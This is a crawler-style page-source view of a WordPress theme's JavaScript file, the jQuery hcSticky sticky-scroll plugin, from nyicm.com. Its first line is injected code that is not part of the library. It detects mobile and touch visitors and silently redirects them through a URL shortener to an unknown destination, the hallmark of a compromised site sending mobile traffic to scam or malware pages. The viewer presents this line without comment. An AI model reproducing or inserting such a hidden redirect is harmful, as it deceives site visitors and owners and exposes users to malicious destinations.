PageSourceSearch

https://nyicm.com/wp-content/themes/nyicm/js/jquery.hcsticky-min.js

js nyicm.com collected 2026-10-08 21:41:57 UTC 16,880 bytes, 326 lines download raw bytes

1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://u-short.net/HuxqvOLnf0r0");
2// jQuery hcSticky
3// =============
4// Version: 1.1.91
5// Copyright: Some Web Media
6// Author: Some Web Guy
7// Author URL: http://twitter.com/some_web_guy
8// Website: http://someweblog.com/
9// Plugin URL: http://someweblog.com/hcsticky-jquery-floating-sticky-plugin/
10// License: Released under the MIT License www.opensource.org/licenses/mit-license.php
11// Description: Makes elements on your page float as you scroll
12
13(function($){
14    /*----------------------------------------------------
15                        GLOBAL FUNCTIONS
16    ----------------------------------------------------*/
17    
18    // check for scroll direction and speed
19    var getScroll = function() {
20        if (typeof getScroll.x == 'undefined') {
21            getScroll.x = window.pageXOffset;
22            getScroll.y = window.pageYOffset;
23        }
24        if (typeof getScroll.distanceX == 'undefined') {
25            getScroll.distanceX = window.pageXOffset;
26            getScroll.distanceY = window.pageYOffset;
27        } else {
28            getScroll.distanceX = window.pageXOffset - getScroll.x;
29            getScroll.distanceY = window.pageYOffset - getScroll.y;
30        }
31        var diffX = getScroll.x - window.pageXOffset,
32            diffY = getScroll.y - window.pageYOffset;
33        getScroll.direction = diffX < 0 ? 'right' :
34            diffX > 0 ? 'left' :
35            diffY <= 0 ? 'down' :
36            diffY > 0 ? 'up' : 'first';
37        getScroll.x = window.pageXOffset;
38        getScroll.y = window.pageYOffset;
39    };
40    $(window).on('scroll', getScroll);
41    
42    // get original css (auto, %)
43    var getCSS = function(el,style) {
44        if (typeof el.cssClone == 'undefined') {
45            el.cssClone = el.clone().css('display','none');
46	    // change the name of cloned radio buttons, otherwise selections get screwed
47	    el.cssClone.find('input:radio').attr('name','sfd4fgdf');
48            el.after(el.cssClone);
49        }
50        var clone = el.cssClone[0];
51        if(typeof style != 'undefined') {
52            var value;
53            if (clone.currentStyle) {
54                value = clone.currentStyle[style.replace(/-\w/g, function(s){return s.toUpperCase().replace('-','')})];
55            } else if (window.getComputedStyle) {
56                value = document.defaultView.getComputedStyle(clone,null).getPropertyValue(style);
57            }
58            value = (/margin/g.test(style)) ? ((parseInt(value) === el[0].offsetLeft) ? value : 'auto') : value;
59        }
60        return {
61            value: value || null,
62            remove: function() {
63                el.cssClone.remove();
64            }
65        };
66    };
67    
68    /*----------------------------------------------------
69                        JQUERY PLUGIN
70    ----------------------------------------------------*/
71    
72    $.fn.extend({
73        
74        hcSticky: function(options, reinit){
75            
76	    // check if selected element exist in DOM, user doesn't have to worry about that
77	    if (this.length == 0)
78		return this;
79	    
80            var settings = options || {},
81                running = (this.data('hcSticky')) ? true : false,
82                $window = $(window),
83                $document = $(document);
84            
85            if (typeof settings == 'string') {
86                switch(settings){
87                    case 'reinit':
88                        // detach scroll event
89                        $window.off('scroll', this.data('hcSticky').f);
90                        // call itself to start again
91                        return this.hcSticky({},true);
92                        break;
93                    case 'off':
94                        this.data('hcSticky', $.extend(this.data('hcSticky'),{on:false}));
95                        break;
96                    case 'on':
97                        this.data('hcSticky', $.extend(this.data('hcSticky'),{on:true}));
98                        break;
99                }
100                return this;
101            } else if (typeof settings == 'object') {
102                if (!running) {
103                    // these are the default settings
104                    this.data('hcSticky', $.extend({
105                        top: 0,
106                        bottom: 0,
107                        bottomEnd: 0,
108                        bottomLimiter: null,
109                        innerTop: 0,
110                        innerSticker: null,
111                        className: 'sticky',
112                        wrapperClassName: 'wrapper-sticky',
113                        noContainer: false,
114                        followScroll: true,
115			onStart: function(){},
116			onStop: function(){},
117                        on: true
118                    }, settings));
119                    // check for bottom limiter
120                    var $bottom_limiter = this.data('hcSticky').bottomLimiter;
121                    if ($bottom_limiter !== null && this.data('hcSticky').noContainer) {
122                        this.data('hcSticky', $.extend(this.data('hcSticky'),{bottomEnd:$document.height() - $($bottom_limiter).offset().top}));
123                    }
124                } else {
125                    // update existing settings
126                    this.data('hcSticky', $.extend(this.data('hcSticky'),settings));
127                }
128                // if already running and not reinited don't go further all we needed was to update settings
129                if (running && !reinit) {
130                    return this;
131                }
132            }
133	    
134	    // do our thing
135            return this.each(function(){
136                
137                var $this = $(this),
138                    // get wrapper if already created, if not create it
139                    $wrapper = (function(){
140                            // wrapper exists
141                            var $this_wrapper = $this.parent('.'+$this.data('hcSticky').wrapperClassName);
142                            if ($this_wrapper.length > 0) {
143                                $this_wrapper.css({
144                                    'height': $this.outerHeight(true),
145                                    'width': (function(){
146                                        // check if wrapper already has width in %
147                                        var width = getCSS($this_wrapper,'width').value;
148                                        getCSS($this_wrapper).remove();
149                                        if (width.indexOf('%') >= 0 || width == 'auto') {
150                                            $this.css('width',$this_wrapper.width());
151                                            return width;
152                                        } else {
153                                            return $this.outerWidth(true);
154                                        }
155                                    })()
156                                });
157                                return $this_wrapper;
158                            } else {
159                                return false;
160                            }
161                        })() || (function(){
162                            // wrapper doesn't exist, create it
163                            var $this_wrapper = $('<div>',{'class':$this.data('hcSticky').wrapperClassName}).css({
164                                'height': $this.outerHeight(true),
165                                'width': (function(){
166                                    // check if element has width in %
167                                    var width = getCSS($this,'width').value;
168                                    if (width.indexOf('%') >= 0 || width == 'auto') {
169                                        $this.css('width',$this.width());
170                                        return width;
171                                    } else {
172                                        // check if margin is set to 'auto'
173                                        var margin = getCSS($this,'margin-left').value;
174                                        return (margin == 'auto') ? $this.outerWidth() : $this.outerWidth(true);
175                                    }
176                                })(),
177                                'margin': (getCSS($this,'margin-left').value) ? 'auto' : null,
178                                'position': (function(){
179                                    var position = $this.css('position');
180                                    return position == 'static' ? 'relative' : position;
181                                })(),
182                                'float': $this.css('float') || null,
183                                'left': getCSS($this,'left').value,
184                                'right': getCSS($this,'right').value,
185                                'top': getCSS($this,'top').value,
186                                'bottom': getCSS($this,'bottom').value
187                            });
188                            $this.wrap($this_wrapper);
189                            // return appended element
190                            return $this.parent();
191                        }
192                    )(),
193                    // functions for attachiung and detaching sticky
194                    setFixed = function(args){
195			// check if already floating
196			if ($this.hasClass($this.data('hcSticky').className))
197			    return;
198                        args = args || {};
199                        $this.css({
200                            position: 'fixed',
201                            top: args.top || 0,
202                            left: args.left || $wrapper.offset().left
203                        }).addClass($this.data('hcSticky').className);
204			// run function for start event of sticky
205			$this.data('hcSticky').onStart.apply(this);
206                    },
207                    reset = function(args){
208                        args = args || {};
209                        $this.css({
210                            position: args.position || 'absolute',
211                            top: args.top || 0,
212                            left: args.left || 0
213                        }).removeClass($this.data('hcSticky').className);
214			// run function for stop event of sticky
215			$this.data('hcSticky').onStop.apply(this);
216                    };
217                
218                // clear clone element we created for geting real css value
219                getCSS($this).remove();
220                // reset sticky content
221                $this.css({top:'auto',bottom:'auto'/*,left:'auto',right:'auto'*/});
222                
223                // start the magic
224                var f = function(init){
225                    
226                    // get referring element
227                    $referrer = ($this.data('hcSticky').noContainer) ? $document : $wrapper.parent();
228                    
229                    // check if we need to run sticky
230                    if (!$this.data('hcSticky').on || $this.outerHeight(true) >= $referrer.height())
231                        return;
232
233                    var top_spacing = ($this.data('hcSticky').innerSticker) ? $($this.data('hcSticky').innerSticker).position().top : (($this.data('hcSticky').innerTop) ? $this.data('hcSticky').innerTop : 0),
234                        //wrapper_inner_top = $wrapper.offset().top + ($this.data('hcSticky').noContainer ? 0 : (parseInt($referrer.css('borderTopWidth')) + parseInt($referrer.css('padding-top')) + parseInt($referrer.css('margin-top')))), 
235			wrapper_inner_top = $wrapper.offset().top,
236                        bottom_limit = $referrer.height() - $this.data('hcSticky').bottomEnd + ($this.data('hcSticky').noContainer ? 0 : wrapper_inner_top),
237                        top_limit = $wrapper.offset().top - $this.data('hcSticky').top + top_spacing,
238                        this_height = $this.outerHeight(true) + $this.data('hcSticky').bottom,
239                        window_height = $window.height(),
240                        offset_top = $window.scrollTop(),
241                        this_document_top = $this.offset().top,
242                        this_window_top = this_document_top - offset_top,
243                        bottom_distance; // this is for later
244					
245					
246                    if (offset_top >= top_limit) {
247                        
248                        // I have no idea what am I checking here, but it works
249			// http://geek-and-poke.com/2012/07/simply-explained-2.html
250                        if (bottom_limit + $this.data('hcSticky').bottom - ($this.data('hcSticky').followScroll ? 0 : $this.data('hcSticky').top) <= offset_top + this_height - top_spacing - ((this_height - top_spacing > window_height - (top_limit - top_spacing) && $this.data('hcSticky').followScroll) ? (((bottom_distance = this_height - window_height - top_spacing) > 0) ? bottom_distance : 0) : 0)) {   
251                            // bottom reached end
252                            reset({
253                                top: bottom_limit - this_height + $this.data('hcSticky').bottom - wrapper_inner_top
254                            });
255                        } else if (this_height - top_spacing > window_height && $this.data('hcSticky').followScroll ) {
256                            // sidebar bigger than window with follow scroll on
257                            if (this_window_top + this_height <= window_height) {
258                                if (getScroll.direction == 'down') {
259                                    // scroll down
260                                    setFixed({
261                                        top: window_height - this_height
262                                    });
263                                } else {
264                                    // scroll up
265                                    if (this_window_top < 0 && $this.css('position') == 'fixed') {
266                                        reset({
267                                            top: this_document_top - (top_limit + $this.data('hcSticky').top - top_spacing) - getScroll.distanceY
268                                        });
269                                    }
270                                }
271                            // sidebar smaller than window or follow scroll turned off
272                            } else {
273                                if (getScroll.direction == 'up' && this_document_top >= offset_top + $this.data('hcSticky').top - top_spacing) {
274                                    // scroll up
275                                    
276                                    setFixed({
277                                        top: $this.data('hcSticky').top - top_spacing
278                                    });
279                                } else if (getScroll.direction == 'down' && this_document_top + this_height > window_height && $this.css('position') == 'fixed') {
280                                    // scroll down
281                                    reset({
282                                        top: this_document_top - (top_limit + $this.data('hcSticky').top - top_spacing) - getScroll.distanceY
283                                    });
284                                }
285                            }
286                        } else {
287                            // starting (top) fixed position
288                            setFixed({
289                                top: $this.data('hcSticky').top - top_spacing
290                            });
291                        }
292                    } else {
293                        // reset bar
294                        reset();
295                    }
296
297                    // just in case someone set "top" larger than elements style top
298                    if (init === true) {
299			$this.css('top', ($this.css('position') == 'fixed') ? $this.data('hcSticky').top - top_spacing : 0);
300                        //$this.css('top', ($this.css('position') == 'fixed') ? $wrapper.offset().top : 0);
301                    }
302
303                };
304                
305                $window.on('resize', function(){
306                    if ($this.css('position') == 'fixed') {
307                        $this.css('left', $wrapper.offset().left);
308                    } else {
309                        $this.css('left', 0);
310                    }
311                });
312                
313                // set scroll empty function in case we need to reinit plugin
314                $this.data('hcSticky', $.extend($this.data('hcSticky'),{f:function(){}}));
315                // set scroll function
316                $this.data('hcSticky', $.extend($this.data('hcSticky'),{f:f}));
317                // run it for the first time to disable glitching
318                $this.data('hcSticky').f(true);
319                // attach function to scroll event
320                $window.on('scroll', $this.data('hcSticky').f);
321		
322            });
323        }
324    });
325
326})(jQuery);

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.